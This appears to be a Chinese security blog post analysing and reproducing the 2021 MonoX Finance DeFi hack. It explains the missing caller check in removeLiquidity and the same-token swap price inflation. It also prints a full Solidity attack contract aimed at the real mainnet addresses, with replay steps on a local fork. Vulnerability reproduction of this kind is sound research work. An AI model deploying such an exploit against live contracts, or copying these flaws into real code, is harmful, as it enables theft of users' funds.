【阿菜漏洞复现】DeFi 平台 MonoX Finance 漏洞分析及复现
前言
2021 年 11 ⽉ 30 ⽇,DeFi 平台 MonoX Finance 遭遇攻击,损失共计约 3100 万美元。
造成本次攻击的漏洞主要有两个:
- 移除流动性的函数未对调用者进行检测,使得任何用户都可以移除提供者的流动性。
- 代币交换函数未对传入的币对进行检测,可通过传入相同的币种抬高该币价格。
以太坊网络
攻击者地址:0xecbe385f78041895c311070f344b55bfaa953258
攻击合约:0xf079d7911c13369e7fd85607970036d2883afcfd
攻击交易(block@13715025):
https://etherscan.io/tx/0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299
polygon网络
攻击者地址 2:0x8f6a86f3ab015f4d03ddb13abb02710e6d7ab31b
攻击合约 2:0x119914de3ae03256fd58b66cd6b8c6a12c70cfb2
攻击交易 2:
https://polygonscan.com/tx/0x5a03b9c03eedcb9ec6e70c6841eaa4976a732d050a6218969e39483bb3004d5d
两个网络上的攻击手段相同,在本文中只对以太坊网络的攻击进行分析。
项目信息
首先通过阅读官方文档对整个项目进行了解:MonoX docs
攻击的交易信息:【ethtx】0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299
以下是关键点摘要:
- Single Token Liquidity pools function by grouping the deposited token into a virtual pair with our
virtual USD stablecoin (vCASH)
, instead of having the liquidity provider deposit multiple pool pairs, they only have to deposit one. All the pools/pairs are in the same ERC1155 contract
. Monoswap- In exchange for providing liquidity, the LP receives their share of the liquidity reserve and the
ERC1155 LP token
. Liquidity providers receive a share of the fees proportional to their share of the liquidity reserve. - When one removes liquidity from the pool for Token A, the price of the token stays the same.
The pool burns the liquidity provider’s ERC 1155 LP token
. In exchange, the pool transfers to the user their share of Token A’s virtual pair’s net value. When the vCASH balance ispositive
, the user will get their share of vCASH plus their share of Token A. When the vCASH balance isnegative
, the user will receive their share of Token A, minus their share of vCASH debt valued in Token A. - LPs providing liquidity in selected/promo pools will get non-transferrable
$MONO
shares.MONO-ERC20
项目合约地址
- Monoswap address: 0xC36a7887786389405EA8DA0B87602Ae3902B88A1
- MonoXPool address: 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4
- MONO address: 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D
- vCASH address: 0x532D7ebE4556216490c9d03460214b58e4933454
攻击流程分析
攻击的目的是极大地提高 MONO 的价格,然后用 MONO 通过 MonoSwap 换取其他代币
攻击合约向 WETH 存 0.1 个 ETH,并授权给 Monoswap 的代理合约
用 0.1 WETH 从 Monoswap 中换出 79.986094311542621010 MONO
调用 Monoswap 的 pools 函数,查询 MONO-vCash 的相关信息
pid=10, lastPoolValue=531057465205747239605262, token=MONO, status=2, vcashDebt=0, vcashCredit=417969352001142975260, tokenBalance=101764473116983332370454, price=5218495054176274115, createdAt=1637853228
调用 MonoXPool 的 totalSupplyOf 函数, 查询 MONO-vCash 池子中作为 LP 证明的 MONO 的总量。
调用 MonoXPool 的 balanceOf 函数,查询提供大量流动性的用户(要移除流动性的目标)在 MONO-vCash 池子中作为 LP 证明的 MONO 数量。提供流动性的用户可以在其 token 页面找到(只有三位用户提供了流动性)。
移除提供大量流动性的用户的流动性,使得池中的 vCash 为 0 ,MONO 为 0 。
pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=0, price=5218495054176274115, createdAt=1637853228
往 MONO-vCash 池中添加流动性 196875656 MONO 。获得 927 liquidity .
pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=196875656, price=5218495054176274115, createdAt=1637853228
调用 55 次 Monoswap.swapExactTokenForToken 函数, 其中 tokenIn=MONO, tokenOut=MONO 。此举的目的是为了提高 MONO 的价格,使得 amountOut > amountIn 。此时的 MONO 价格已经大幅度上升到了 843741636512366463585990541128 。
pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=28065601457649448980, price=843741636512366463585990541128, createdAt=1637853228
然后通过调用 swapTokenForExactToken 函数,以高价的 MONO 换空池中的其他代币,达到获利的目的。
代码分析
移除流动性漏洞
removeLiquidity 函数未对调用者进行检测,使得任何用户都可以移除提供者的流动性。
价格提升漏洞
整体的代码流程如图。通过传入相同的代币(tokenIn=MONO, tokenOut=MONO),大幅拉升该代币的价格。
swapExactTokenForToken 函数
跟入 swapIn 函数
getAmountOut函数
_getNewPrice函数
_getAvgPrice函数
攻击合约
pragma solidity ^0.7.6;
interface WETH9{
function deposit() external payable;
function approve(address guy, uint wad) external;
}
interface Monoswap{
function swapExactTokenForToken(
address tokenIn,
address tokenOut,
uint amountIn,
uint amountOutMin,
address to,
uint deadline
) external;
function removeLiquidity (address _token, uint256 liquidity, address to,
uint256 minVcashOut,
uint256 minTokenOut) external;
function addLiquidity (address _token, uint256 _amount, address to) external;
enum PoolStatus {
UNLISTED,
LISTED,
OFFICIAL,
SYNTHETIC,
PAUSED
}
function pools(address) external view
returns (
uint256 pid,
uint256 lastPoolValue,
address token,
PoolStatus status,
uint112 vcashDebt,
uint112 vcashCredit,
uint112 tokenBalance,
uint256 price,
uint256 createdAt
);
function swapTokenForExactToken(
address tokenIn,
address tokenOut,
uint amountInMax,
uint amountOut,
address to,
uint deadline
) external;
}
interface MonoXPool{
function balanceOf(address account, uint256 id) external returns (uint256);
}
interface MonoToken{
function approve(address spender, uint256 amount) external;
function balanceOf(address account) external returns(uint256);
}
contract attack{
address WETH9_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address vCash_address = 0x532D7ebE4556216490c9d03460214b58e4933454;
address MONO_address = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address USDC_address = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address MonoXPool_address = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address Monoswap_address = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
// the only 3 MONO liquidity providers
address LiquidityProvider1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address LiquidityProvider2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address LiquidityProvider3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
// Please deplay with 0.1 eth.
function S1_Get_and_Approve_WETH() public{
WETH9(WETH9_address).deposit{value:0.1 ether, gas:40000}();
WETH9(WETH9_address).approve(Monoswap_address,0.1 ether);
}
// Swap the token form WETH to MONO in Monoswap.
function S2_Swap_form_WETH_to_MONO() public{
Monoswap(Monoswap_address).swapExactTokenForToken(WETH9_address, MONO_address, 0.1 ether, 1, address(this), block.timestamp);
}
// Remove the liqiudity of MONO pool.
function S3_Remove_Liquidity() public{
// Get the MONO banlance of provider, then remove it.
uint256 balanceOfProvider1 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider1, 10);
Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider1, LiquidityProvider1, 0, 0);
uint256 balanceOfProvider2 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider2, 10);
Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider2, LiquidityProvider2, 0, 0);
uint256 balanceOfProvider3 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider3, 10);
Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider3, LiquidityProvider3, 0, 0);
// After this step, the MONO and vCash banlances of pool is 0.
// But the price of MONO has not changed.
}
// Approve and add liqiudity to the MONO pool.
function S4_Add_Liqiudity_of_MONO() public{
MonoToken(MONO_address).approve(Monoswap_address, type(uint256).max);
// The attacker add 196875656 MONO.
Monoswap(Monoswap_address).addLiquidity(MONO_address, 196875656, address(this));
}
// To raise the price of MONO by swap MONO to MONO 55 times.
function S5_Raise_MONO_Price() public{
uint112 MONO_InPool;
for(uint256 i = 0; i < 55; i++){
// Get amount of MONO in pool.
(,,,,,,MONO_InPool,,) = Monoswap(Monoswap_address).pools(MONO_address);
// Swap MONO to MONO.
Monoswap(Monoswap_address).swapExactTokenForToken(MONO_address, MONO_address, MONO_InPool-1, 0, address(this), block.timestamp);
}
}
// Swaping the USDC by high price MONO.
function S6_Swap_MONO_to_USDC() public{
// Get the MONO balance of this contract.
uint256 MONO_InThis;
MONO_InThis = MonoToken(MONO_address).balanceOf(address(this));
// Get the USDC banlance of pool.
// uint256 USDC_InPool;
//(,,,,,,USDC_InPool,,) = Monoswap(Monoswap_address).pools(USDC_address);
// Using MONO to swap 4000000000000 USDC, while 4000000000000 < USDC_InPool.
Monoswap(Monoswap_address).swapTokenForExactToken(Monoswap_address, USDC_address, MONO_InThis, 4000000000000, msg.sender, block.timestamp);
}
// Because MonoXPool is ERC1155 contract, this function is necessary.
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
// a = 0xf23a6e61
return a;
}
receive() payable external{}
}
漏洞复现
要设置 -l
gas limit,否则会不够用。
ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/{your key}@13715025 -l 4294967295
导入账户
部署合约,并往合约转入 0.1 eth
依次调用攻击合约中的攻击函数
攻击结果
参考文章
- 【github】W2Ning/MonoX_Vul_
- 【慢雾】DeFi 平台 MonoX Finance 被黑分析
- 【MonoX】MonoX docs
- 【ethtx】0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299
【阿菜漏洞复现】DeFi 平台 MonoX Finance 漏洞分析及复现的更多相关文章
- 移动APP漏洞自动化检测平台建设
移动APP漏洞自动化检测平台建设 前言:本文是<移动APP客户端安全笔记>系列原创文章中的第一篇,主要讲的是企业移动APP自动化漏洞检测平台建设,移动APP漏洞检测发展史与前沿技术,A ...
- 【漏洞复现】Paraluni 安全事件分析及复现
Paraluni 被黑分析 前言 Paraluni (平行宇宙)是新加坡 Parallel Universe 基金会发布的一个 基于币安智能链的 DeFi 项目,更多相关内容见此处.在 2022 年 ...
- DLink 815路由器栈溢出漏洞分析与复现
DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...
- 漏洞复现——tomcat远程代码执行漏洞
漏洞描述: 当存在该漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行 影响范 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- SpringBoot SpEL表达式注入漏洞-分析与复现
目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- WordPress Checkout插件跨站脚本漏洞和任意文件上传漏洞
漏洞名称: WordPress Checkout插件跨站脚本漏洞和任意文件上传漏洞 CNNVD编号: CNNVD-201311-015 发布时间: 2013-11-04 更新时间: 2013-11-0 ...
- WordPress HMS Testimonials 多个跨站脚本漏洞和跨站请求伪造漏洞
漏洞名称: WordPress HMS Testimonials 多个跨站脚本漏洞和跨站请求伪造漏洞 CNNVD编号: CNNVD-201308-199 发布时间: 2013-08-22 更新时间: ...
随机推荐
- 暑假算法练习Day1
为了加强个人的算法能力,所以准备每天都做适当的算法练习,并在隔天加以回顾. 依托PTA.Leetcode平台进行训练(暂定每天三题C++,对于Leetcode平台上的练习,由于其解题需以类的形式进行提 ...
- IDEA 运行maven工程报错:No goals have been specified for this build.....解决办法
出现这种错误可以在pom.xml里配置, 找到<build>标签在下面<plugins>标签上面加上<defaultGoal>compile</default ...
- 【linux系统】命令学习(八)bash 编程实战学习
常见shell : bash sh zsh windows: git bash cygwin MAC : terminal iterm netstat 是linux下用于显示网络状态的命令.通 ...
- MYSQL数据库重新初始化
前言 我们在日常开发过程中,可能会遇到各种mysql服务无法启动的情况,各种百度谷歌之后,依然不能解决的时候,可以考虑重新初始化mysql.简单说就是重置,"恢复出厂设置".重置之 ...
- [bzoj2789]Letters
考虑A中第i次出现的j字符,最终位置一定是在B中第i次出现的j字符的位置,然后即求逆序对数量,cdq/线段树即可 1 #include<bits/stdc++.h> 2 using nam ...
- 提升AI智能化水平,打造智慧新体验
内容来源:华为开发者大会2021 HMS Core 6 AI技术论坛,主题演讲<提升AI智能化水平,打造智慧新体验>. 演讲嘉宾:沈波,华为消费者AI与智慧全场景ML Kit产品总监 今天 ...
- 获取客户端Mac地址
近期有个需求,需要获取客户端Mac地址作为白名单验证的依据.使用.net,B/S架构.先百度找了一些获取mac地址的方法, using System; using System.Collections ...
- docker版本演变,安装,基本命令
1.docker 版本信息 Docker CE在17.03版本之前叫Docker Engine,版本号从0.1.0(2013-03-23)~1.13.1(2017-02-08),详见https://d ...
- SPOJ 1557 GSS2 - Can you answer these queries II (线段树+维护历史最值)
都说这题是 GSS 系列中最难的,今天做了一下,名副其实 首先你可以想到各种各样的在线乱搞想法,线段树,主席树,平衡树,等等,但发现都不太可行. 注意到题目也没有说强制在线,因此可以想到离线地去解决这 ...
- miRAN 分析以及mRNA分析
一些参考资料 http://www.360doc.com/content/17/0528/22/19913717_658086490.shtml https://www.cnblogs.com/tri ...